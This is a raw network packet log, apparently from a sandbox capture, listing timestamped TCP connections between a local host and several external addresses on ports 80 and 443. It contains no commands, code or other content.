Oct 30, 2024 23:11:53.494972944 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.496455908 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.496887922 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.496912003 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.497236013 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.498289108 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.498289108 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.498306036 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.498354912 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.523056984 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.525140047 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.525166988 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.525605917 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.525610924 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.541966915 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.545104980 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.551151991 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.561876059 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.562268019 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.562283993 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.565100908 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.565104961 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.583725929 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.583847046 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.583920956 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.584153891 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.584153891 CET	50017	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.584172010 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.584184885 CET	443	50017	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.589104891 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.589144945 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.593170881 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.593311071 CET	50024	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.593322992 CET	443	50024	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.631022930 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.631048918 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.631220102 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.631234884 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.631515980 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.631522894 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.631534100 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.631849051 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.631896019 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.632039070 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.632090092 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.632234097 CET	50018	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.633764029 CET	50018	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.633764029 CET	50018	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.633789062 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.633815050 CET	443	50018	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.635411024 CET	50021	443	192.168.2.5	23.55.178.243
Oct 30, 2024 23:11:53.635426044 CET	443	50021	23.55.178.243	192.168.2.5
Oct 30, 2024 23:11:53.649022102 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.649061918 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.649292946 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.649293900 CET	50025	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.649319887 CET	443	50025	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.655638933 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.655695915 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.655775070 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.655915022 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.655915022 CET	50019	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.655929089 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.655939102 CET	443	50019	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.658341885 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.658365011 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.658536911 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.658536911 CET	50026	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.658561945 CET	443	50026	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.695213079 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.695240974 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.695281029 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.695344925 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.695501089 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.695501089 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.695590973 CET	50020	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.695611000 CET	443	50020	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.701097965 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.701127052 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.705163956 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.705293894 CET	50027	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:53.705307961 CET	443	50027	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:53.789016008 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.789114952 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.829355955 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829401970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829413891 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829505920 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.829519033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829582930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829596043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829607964 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829632998 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.829632998 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.829698086 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.829714060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829726934 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829740047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829794884 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.829840899 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.829859018 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830123901 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830137014 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830173969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830187082 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830190897 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830190897 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830223083 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830358028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830385923 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830409050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830425978 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830476046 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830476046 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830502033 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830513954 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830564976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830564976 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830740929 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830795050 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830795050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830809116 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830862045 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830862045 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830877066 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830888987 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.830923080 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.830949068 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.866537094 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.866555929 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.867005110 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.867188931 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.884385109 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.884418964 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.885356903 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:53.885370016 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:53.961431026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961447001 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961458921 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961513996 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.961544991 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.961568117 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961579084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961607933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.961633921 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.961720943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961733103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961743116 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961755991 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961766958 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.961782932 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.961782932 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.961811066 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.961946964 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962039948 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962052107 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962064981 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962141991 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962150097 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962162971 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962205887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962205887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962296009 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962307930 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962318897 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962332010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962344885 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962353945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962353945 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962393045 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962393045 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962568998 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962580919 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962631941 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962825060 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962913990 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962918043 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962930918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.962981939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.962981939 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.963037014 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963049889 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963092089 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.963092089 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.963129997 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963140965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963151932 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963164091 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963176966 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963188887 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.963197947 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.963269949 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.963407040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963829994 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963841915 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963870049 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963881969 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.963896990 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.964016914 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.964032888 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.964045048 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.964077950 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.964077950 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:53.964164019 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.964176893 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.964188099 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.964198112 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:53.964287996 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.065876007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.065892935 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.065963030 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.079618931 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.079648018 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.079689026 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.079724073 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.079763889 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.079765081 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.079780102 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.079794884 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.079812050 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.079837084 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.079962015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.079974890 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080002069 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080013990 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080096006 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080154896 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080173016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080189943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080203056 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080208063 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080374956 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080404043 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080408096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080575943 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080599070 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080627918 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080640078 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080691099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080691099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080723047 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080734968 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080746889 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080759048 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080796957 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080796957 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.080931902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080965996 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.080981016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081043959 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081115961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081130028 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081142902 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081156015 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081167936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081270933 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081279993 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081418037 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081442118 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081454992 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081466913 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081490040 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081526041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081552982 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081613064 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081628084 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081640959 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081644058 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081655025 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081667900 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081667900 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081705093 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.081927061 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081939936 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081952095 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081964016 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081978083 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.081996918 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082031012 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082318068 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082346916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082360029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082489967 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082489967 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082705975 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082719088 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082732916 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082746029 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082756042 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082760096 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082772970 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082784891 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082786083 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082798004 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082809925 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082811117 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082818985 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082844019 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.082869053 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082895994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.082895994 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.094547033 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:54.094676018 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:54.095396042 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:54.095472097 CET	443	50022	23.1.237.91	192.168.2.5
Oct 30, 2024 23:11:54.095501900 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:54.095818996 CET	50022	443	192.168.2.5	23.1.237.91
Oct 30, 2024 23:11:54.176798105 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.177254915 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.177278042 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.177735090 CET	50023	443	192.168.2.5	13.107.246.45
Oct 30, 2024 23:11:54.177747965 CET	443	50023	13.107.246.45	192.168.2.5
Oct 30, 2024 23:11:54.198112965 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198139906 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198153019 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198177099 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198211908 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198218107 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198270082 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198275089 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198287010 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198332071 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198388100 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198401928 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198421001 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198421955 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198442936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198590040 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198601961 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198613882 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198626041 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198640108 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198653936 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198671103 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198689938 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198776007 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198817015 CET	49980	80	192.168.2.5	185.215.113.206
Oct 30, 2024 23:11:54.198882103 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198894978 CET	80	49980	185.215.113.206	192.168.2.5
Oct 30, 2024 23:11:54.198906898 CET	80	49980	185.215.113.206	192.168.2.5
